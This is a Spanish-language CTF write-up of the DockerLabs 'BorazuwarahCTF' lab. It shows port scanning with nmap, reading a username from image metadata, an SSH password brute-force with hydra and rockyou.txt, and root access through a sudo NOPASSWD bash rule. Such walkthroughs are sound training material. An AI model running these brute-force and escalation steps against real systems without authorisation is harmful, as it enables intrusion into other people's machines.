Post

BorazuwarahCTF

DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.

BorazuwarahCTF

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/borazuwarahctf:-$ ping -c 1 127.17.0.2
PING 127.17.0.2 (127.17.0.2) 56(84) bytes of data.
64 bytes from 127.17.0.2: icmp_seq=1 ttl=64 time=0.044 ms

--- 127.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.044/0.044/0.044/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/borazuwarahctf:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG nmap1 127.17.0.2
Host: 127.17.0.2 ()     Status: Up
Host: 127.17.0.2 ()     Ports: 22/open/tcp//ssh///, 80/open/tcp//http///        Ignored State: closed (65533)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/home/kali/Documents/dockerlabs/borazuwarahctf:-$ sudo nmap -sCV -p22,80 -vvv -oN nmap2 127.17.0.2
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 3d:fd:d7:c8:17:97:f5:12:b1:f5:11:7d:af:88:06:fe (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDuOdJLZN+CNU+7dcTJQbPr6zY2+Ou1YFR0w9Pan1DfaPUZljRHJcNmvSncrihzQ3HOAHfMWWvSzN+ZMC0YmWoA=
|   256 43:b3:ba:a9:32:c9:01:43:ee:62:d0:11:12:1d:5d:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGDv2JqKvBCR+Badmkr7YKPypEYshuCXxzM5+YdozyBD
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
$ whatweb 127.17.0.2
http://127.17.0.2 [200 OK] Apache[2.4.59], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[127.17.0.2]

Web Analysis & Vulnerability Exploitation

Al analizar el servicio web, solo se muestra una página vacía que contiene una imagen.

Al inspeccionar el código fuente de la página, confirmo que el único contenido relevante es la referencia a una imagen con el nombre imagen.jpeg.

1
2
3
4
5
6
7
8
9
/home/kali/Documents/dockerlabs/borazuwarahctf:-$ wget http://127.17.0.2/imagen.jpeg
--2025-01-04 20:28:53--  http://127.17.0.2/imagen.jpeg
Connecting to 127.17.0.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18667 (18K) [image/jpeg]
Saving to: ‘imagen.jpeg’

imagen.jpeg                                 100%[===========================================================================================>]  18.23K  --.-KB/s    in 0s
2025-01-04 20:28:53 (1.03 GB/s) - ‘imagen.jpeg’ saved [18667/18667]

Descargo la imagen y utilizo exiftool para extraer los metadatos. En ellos encuentro un usuario borazuwarah.

Después de descargar la imagen del servidor, utilizo exiftool para analizar los metadatos en busca de información útil. Este análisis revela el usuario borazuwarah.

1
/home/kali/Documents/dockerlabs/borazuwarahctf:-$ exiftool imagen.jpeg

Con el nombre de usuario borazuwarah, realizo un ataque de fuerza bruta contra el servicio SSH.

1
2
/home/kali/Documents/dockerlabs/borazuwarahctf:-$ sudo hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 10 -I
[22][ssh] host: 172.17.0.2   login: borazuwarah   password: 123456

El ataque tiene éxito y obtengo las credenciales SSH.

1
2
3
4
5
/home/kali/Documents/dockerlabs/borazuwarahctf:-$ ssh borazuwarah@127.17.0.2
borazuwarah@127.17.0.2's password: 123456

borazuwarah@kali:~$ id
uid=1000(borazuwarah) gid=1000(borazuwarah) groups=1000(borazuwarah),27(sudo)

Privilege Escalation

1
2
3
borazuwarah@kali:~$ cat /etc/passwd | grep /bash$
root:x:0:0:root:/root:/bin/bash
borazuwarah:x:1000:1000::/home/borazuwarah:/bin/bash

El usuario borazuwarah tiene permisos completos para ejecutar cualquier comando como cualquier usuario, incluyendo root.

1
2
3
4
5
6
7
borazuwarah@kali:~$ sudo -l
Matching Defaults entries for borazuwarah on kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User borazuwarah may run the following commands on kali:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash

Dado que el usuario puede ejecutar /bin/bash como root sin proporcionar contraseña, inicio una shell con privilegios de superusuario. La ejecución de este comando eleva mis privilegios al usuario root, confirmando el control completo del sistema.

1
2
3
borazuwarah@kali:~$ sudo /bin/bash
root@kali:/home/borazuwarah# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.